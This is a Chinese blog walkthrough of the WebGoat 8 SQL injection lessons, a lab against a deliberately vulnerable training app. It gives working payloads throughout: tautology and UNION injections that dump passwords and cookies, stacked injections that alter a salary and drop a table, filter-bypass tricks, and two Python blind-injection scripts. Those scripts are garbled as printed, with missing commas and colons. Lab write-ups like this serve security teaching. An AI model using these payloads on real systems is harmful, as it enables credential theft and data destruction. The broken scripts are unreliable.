WebGoat8-SqlInjection

字节脉搏实验室

共 6940字,需浏览 14分钟

 · 2021-05-24

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Jadore

扫描下方二维码进入社区

(1)SqlInjectionLesson2

参数query未经过滤并直接调用executeQuery来执行SQL语句并判断结果是否与"Marketing"相同

直接输入SQL语句

SELECT department FROM employees WHERE first_name='Bob' and last_name='Franco';




(2)SqlInjectionLesson3

与SqlInjectionLesson2类似,不过调用的是executeUpdate来更新记录,这里不再叙述

UPDATE employees SET department='Sales' WHERE first_name='Tobi' and last_name='Barnett'





(3)SqlInjectionLesson5a

该处SQL注入是由于动态拼接而造成的,在前端传入相应的参数account 、operator 、 injection拼接成accountName并传入query中作为SQL语句的一部分,最后直接放到executeQuery中执行

只要将Payload设置为Smith' or '1'='1就可以爆出所有记录



(4)SqlInjectionLesson5b

查看代码可知,虽然是通过预编译绑定参数来查询,不过还是遗漏了参数accountName,因此造成注入

使用Login_Count:1,User_Id:1 or 1=1即可




(5)SqlInjectionLesson8

同样是拼接造成的注入

使用1' or '1'='1、1' or '1'='1即可




(6)SqlInjectionLesson9

篡改Smith的薪水,直接对auth_tan进行操作,可以进行堆叠注入

使用Smith、3SL99A';UPDATE employees SET salary=200000 WHERE last_name='Smith即可




(7)SqlInjectionLesson10

要求删除ccess_log表,这里闭合%'即可进行堆叠注入

%';drop table access_log--+




(8)SqlInjectionLesson6a

这里强制我们使用UNION进行联合注入

观察表的结构

通过Dave' union select userid,user_name,password,cookie,null,null,null from user_system_data--+攻击成功




(9)SqlInjectionAdvanced

看到登录页面的代码SqlInjectionChallengeLogin,经过预编译进行查询,因此该处不存在SQL注入

看到注册页面的代码SqlInjectionChallenge,将username_reg参数拼接到SQL查询语句中,因此存在注入,而在insert语句中由于使用预编译而不存在SQL语句

题目要求以tom的身份去登录,那么只能从username_reg入手,假如在注册时输入的用户名存在,那么会通过attackResult返回类似user exists等信息,加入不存在则会返回"Something went wrong"

利用这个特征可以进行盲注,编写脚本

import requests

url = "http://localhost:8080/WebGoat/SqlInjection/challenge"
headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36""Cookie""JSESSIONID=6AC3F0F7E7E484612C078B29D65FE54B",}


tom_password = ''
length = 1
for i in range(130):
   payload_one = "tom' and length(password)="+str(i)+"--+"
   formdata_one = {
   "username_reg"payload_one,
   "email_reg""tom@qq.com",
   "password_reg""tom",
   "confirm_password_reg""tom",
   }
   response_one = requests.put(urldata = formdata_oneheaders = headers)
   if(response_one.text.find("already exists")!=-1):
       length = i
       print("密码长度为:"+str(length))
for k in range(1length+1):
   for g in range(33128):
       payload_two = "tom' and ascii(substring(password,"+str(k)+",1))="+str(g)+"--+"
       formdata_two = {
           "username_reg"payload_two,
           "email_reg""tom@qq.com",
           "password_reg""tom",
           "confirm_password_reg""tom",
       }
       response_two = requests.put(urldata = formdata_twoheaders = headers)
       if(response_two.text.find("already exists")!=-1):
           tom_password = tom_password + chr(g)
           print(tom_password)
           break

得到密码thisisasecretfortomonly




(10)SqlInjectionLesson10a

要求完成预编译代码来防止SQL注入

Connection conn = DriverManager.getConnection(DBURLDBUSERDBPW);
PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");
ps.setString(1,name);
ps.setString(2,mail);


(11)SqlOnlyInputValidation

将传入的userid_sql_only_input_validation的内容赋予userId并使用contains函数过滤了空格

调用SqlInjectionLesson6a中的injectableQuery方法

追踪injectableQuery方法,发现需要使用联合查询来进行注入

(1)用多行注释/**/绕过√

(2)空白字符绕过(%20 %09 %0a %0b %0c %0d %a0 %00等)√

(3)括号绕过√

(4)反引号`×

(5)两个空格×

使用payload

Dave'/**/union/**/select/**/userid,user_name,password,cookie,null,null,null/**/from/**/user_system_data--+




(12)SqlOnlyInputValidationOnKeywords

替换SELECT和FROM为空并且过滤了空格,这里可以进行双写绕过

使用payload

Dave'/**/union/**/seselectlect/**/userid,user_name,password,cookie,null,null,null/**/frfromom/**/user_system_data--+


(13)SqlInjectionLesson13

很明显通过预编译该处位置不存在SQL注入

但来到Servers类中,发现有个column参数进行了拼接

点击hostname

发现传递了column参数

GET /WebGoat/SqlInjectionMitigations/servers?column=hostname HTTP/1.1
Host: localhost:8080
Connection: keep-alive
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=fhtv6vxLamYS9xqAPbuGYtnBJSa_bdU8nf2EWiOG
?column=IF(1=1,hostname,ip) //通过hostname字段排序
?column=IF(1=2,hostname,ip) //通过ip字段排序

直接爆出了表名

?column=(CASE+WHEN+(1=1)+THEN+hostname+ELSE+ip+END) 通过hostname字段排序

?column=(CASE+WHEN+(1=2)+THEN+hostname+ELSE+ip+END) 通过ip字段排序

Payload:

(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='x')+THEN+hostname+ELSE+ip+END)--+

使用脚本

import requests;

url = "http://localhost:8080/WebGoat/SqlInjection/servers"
header = {
                   "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
                   "Cookie""JSESSIONID=AD062CE450CC2BBBAAB0659602BC33C3; csrftoken=4nKw4GEaA5eXuGY2017PlASSo2SLXdl4zcwnOdQd8ldzZfN8FAR6H9nFuUdZMTNq",}

get_ip = ''

for n in range(1,4):
   for i in range(48,58):
       payload = "(CASE WHEN(ascii(substr((SELECT ip FROM servers WHERE hostname='webgoat-prd'),"+str(n)+",1))="+str(i)+") THEN ip ELSE hostname END)--+"
       data = {
           "column"payload,
       }
       response = requests.get(urlparams = dataheaders = header)
       if(response.text.find('"ip" : "192.168.2.1"'5080)!=-1):
           get_ip = get_ip + chr(i)
           print(get_ip)
           break

得到前三位ip为104


要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

记得扫码

关注我们


浏览 43
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报